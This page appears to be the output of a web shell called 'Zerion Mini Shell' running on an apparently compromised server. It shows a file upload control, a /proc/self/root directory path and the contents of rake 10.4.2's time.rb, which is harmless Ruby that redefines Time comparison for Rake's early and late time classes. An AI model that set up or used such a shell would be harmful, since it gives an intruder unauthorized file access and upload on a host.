ok

Mini Shell

Direktori : /proc/self/root/opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rake-10.4.2/lib/rake/ext/
Upload File :
Current File : //proc/self/root/opt/alt/ruby23/lib64/ruby/gems/2.3.0/gems/rake-10.4.2/lib/rake/ext/time.rb

#--
# Extensions to time to allow comparisons with early and late time classes.

require 'rake/early_time'
require 'rake/late_time'

class Time # :nodoc: all
  alias rake_original_time_compare :<=>
  def <=>(other)
    if Rake::EarlyTime === other || Rake::LateTime === other
      - other.<=>(self)
    else
      rake_original_time_compare(other)
    end
  end
end

Zerion Mini Shell 1.0